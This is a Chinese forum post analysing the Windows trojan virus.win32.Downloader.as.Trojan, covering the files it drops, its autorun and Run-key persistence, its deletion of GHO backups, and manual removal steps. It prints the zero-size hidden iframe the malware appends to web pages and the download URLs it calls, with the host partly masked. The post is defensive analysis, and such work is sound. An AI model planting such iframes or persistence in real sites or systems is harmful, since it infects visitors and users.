Downloader.Trojan病毒专杀
前些天一朋友中了名为virus.win32.Downloader.as.Trojan的病毒，从名称virus.win32.Downloader.as.Trojan来看像是一个病毒下载器病毒，就是通过网络下载其他的病毒，所以危害性相当大，最可恨的是该病毒会感染其他的可执行exe文件，所以即便使用GHOST还原了系统，只要其他盘仍存在感染该病毒的可执行文件，系统就永远不会安宁。感染了virus.win32.Downloader.as.Trojan病毒的特征是
病毒是可以杀掉了，但所有的EXE都有问题了，EXE的文件创建时间都被改成了1620年，一部分无法打开，能打开的好像还会自动下载新的病毒体。
病毒描述：
该病毒属木马类，病毒运行后判断当前运行文件的路径，如果不是%System32%
\SVCH0ST.EXE，将打开当前文件所在目录；制自身到%System32%下，更名为
SVSH0ST.EXE，并衍生autorun.inf文件；复制自身到所有驱动器根目录下，更名为
niu.exe，并衍生autorun.inf文件，实现双击打开驱动器时，自动运行病毒文件；
遍历所有驱动器，在htm、asp、aspx、php、html、jsp格式文件的尾部插入96个字
节的病毒代码；遍历磁盘删除以GHO为扩展名的文件，使用户无法进行系统还原；连
接网络下载病毒文件；修改系统时间为2000年；病毒运行后删除自身。
行为分析：
本地行为：
1、文件运行后会释放以下文件：
%System%\Autorun.inf 159 字节
%WinDir%\SVSH0ST.EXE 33,932 字节
%HomeDrive%\Autorun.inf 159 字节
%HomeDrive%\niu.exe 33,932 字节
%DriveLetter%\Autorun.inf 159 字节
%DriveLetter%\niu.exe 33,932 字节
2、新增注册表：
[HKEY_LOCAL_MACHINE\SOFTWARE
\Microsoft\Windows\CurrentVersion\Run]
注册表值: "svchost"
类型： REG_SZ
值： "C:\WINDOWS\system32\SVSH0ST.EXE"
描述: 启动项，使病毒文件在当该系统的所有用户
登陆该系统时，运行病毒文件。
3、搜索指定扩展名的文件，在尾部插入代码：
指定的扩展名包括：htm、asp、aspx、php、html、js六种
插入代码内容如下：
<IfrAmE src=http://www.2****.com.cn width=0 height=0></IfrAmE>
网络行为：
连接网络下载病毒文件：
http://www.2****.com.cn/30000/1.exe
http://www.2****.com.cn/30000/2.exe
http://www.2****.com.cn/30000/3.exe
http://www.2****.com.cn/30000/4.exe
http://www.2****.com.cn/30000/5.exe
注： %System32% 是一个可变路径。病毒通过查询操作系统来决定当前 System文件夹的
位置。
%Windir% WINDODWS所在目录
%DriveLetter% 逻辑驱动器根目录
%ProgramFiles% 系统程序默认安装目录
%HomeDrive% 当前启动的系统的所在分区
%Documents and Settings% 当前用户文档根目录
%Temp% \Documents and Settings
\当前用户\Local Settings\Temp
%System32% 系统的 System32文件夹
Windows2000/NT中默认的安装路径是C:\Winnt\System32
windows95/98/me中默认的安装路径是C:\Windows\System
windowsXP中默认的安装路径是C:\Windows\System32
手动查杀方法：
手工清除请按照行为分析删除对应文件，恢复相关系统设置。
(1)使用“任务管理器”关闭病毒进程：
SVSH0ST.EXE
(2)删除病毒文件：
%System%\Autorun.inf
%WinDir%\SVSH0ST.EXE
%HomeDrive%\Autorun.inf
%HomeDrive%\niu.exe
%DriveLetter%\Autorun.inf
%DriveLetter%\niu.exe
(3)复病毒修改的注册表项目，删除病毒添加的注册表项：
删除如下注册表项：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run]
注册表值: "svchost"
类型： REG_SZ
值： "C:\WINDOWS\system32\SVSH0ST.EXE"
(4)恢复系统时间年份为当前时间。
(5)删除所有六类被感染文件尾部的代码。
另外有网友说可以用USBCleaner V6.0 可以干净的干掉virus.win32.Downloader.as.Trojan这个病毒，但是EXE文件不能修复。未测试
原文地址:http://www.cx1231.com/bbs/thread-101-1-1.html 恩，不错啊！谢谢分享！
页:
[1]